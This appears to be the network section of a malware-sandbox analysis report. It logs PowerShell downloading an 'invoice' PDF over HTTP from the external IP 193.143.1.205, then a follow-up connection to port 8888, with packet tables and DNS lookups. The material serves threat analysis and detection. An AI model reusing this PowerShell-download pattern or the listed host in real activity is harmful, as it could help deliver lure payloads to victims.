Jan 10, 2025 18:22:59.301826000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301837921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301856995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.301866055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301878929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.301886082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.301914930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.337711096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337738991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337750912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337763071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337775946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337786913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337800980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337810040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.337904930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.337905884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.337905884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.338366985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338380098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338396072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338402987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338419914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338432074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338443995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338454008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.338490963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.338495970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.338546038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339667082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339689970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339701891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339713097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339724064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339735031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339749098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339749098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339778900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339798927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339807034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339818954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339828014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339853048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339864016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339874983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339879036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339930058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339936972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339956045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339967966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339978933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.339992046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.339997053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340015888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340029001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340033054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340042114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340054035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340054989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340090036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340106964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340142012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340228081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340240002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340250969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340262890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340284109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340286016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340296030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340310097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340317965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340338945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340351105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340358019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340363026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340374947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340392113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340409994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340436935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340460062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340471983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340477943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340488911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340501070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340538979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340540886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340562105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340583086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340595007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340607882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340610027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340635061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340660095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340687037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340713978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340725899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340754986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340775013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340799093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340811968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340825081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340836048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340874910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340883970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340898037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340910912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340924978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.340938091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.340965986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.341088057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341106892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341118097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341129065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341141939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341145039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.341154099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341166019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.341167927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.341204882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.341231108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.342789888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.342804909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.342817068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.342828989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.342854023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.342879057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.375610113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375638008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375650883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375663042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375675917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375686884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375699997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375777006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.375777006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.375900030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375911951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375933886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375946999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375958920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.375958920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.375983000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.375996113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.376008987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.376017094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.376034021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.376044035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.376080036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.376105070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.377243042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377266884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377279997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377299070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377312899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377316952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.377326012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377341032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377352953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.377355099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.377371073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.377417088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.384850979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384866953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384879112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384923935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384936094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384948015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.384948969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384962082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.384973049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.385019064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.388602018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.388613939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.388683081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.418348074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.423377991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.423396111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.423405886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.423418999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.423429966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.423444033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.423538923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.423568964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.424326897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424380064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424386024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424396038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424401999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424446106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424452066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424464941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.424472094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.424510002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.425070047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425132990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425136089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.425144911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425157070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425174952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425188065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425189972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.425199986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425211906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.425231934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.425257921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.426295996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426309109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426327944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426337957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426351070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426367044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.426383972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426400900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426408052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.426415920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426448107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.426574945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426621914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.426652908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426666021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426676989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:22:59.426708937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.469824076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.632105112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:22:59.854269028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:23:00.694354057 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:23:00.699249029 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:23:00.699403048 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:23:00.704684973 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:23:00.709517956 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:23:01.473606110 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 18:23:01.516632080 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 18:23:01.565095901 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:23:13.987101078 CET	50451	53	192.168.2.4	1.1.1.1
Jan 10, 2025 18:23:30.866516113 CET	57125	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:23:13.987101078 CET	192.168.2.4	1.1.1.1	0x9d9b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:23:30.866516113 CET	192.168.2.4	1.1.1.1	0xdbc0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:23:13.994400024 CET	1.1.1.1	192.168.2.4	0x9d9b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:23:30.874850035 CET	1.1.1.1	192.168.2.4	0xdbc0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4080	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:22:57.863845110 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:22:58.883358002 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:22:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:22:58.883397102 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:22:58.883413076 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:22:58.883428097 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:22:58.883454084 CET	896	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:22:58.883469105 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 18:22:58.883482933 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 18:22:58.883497000 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
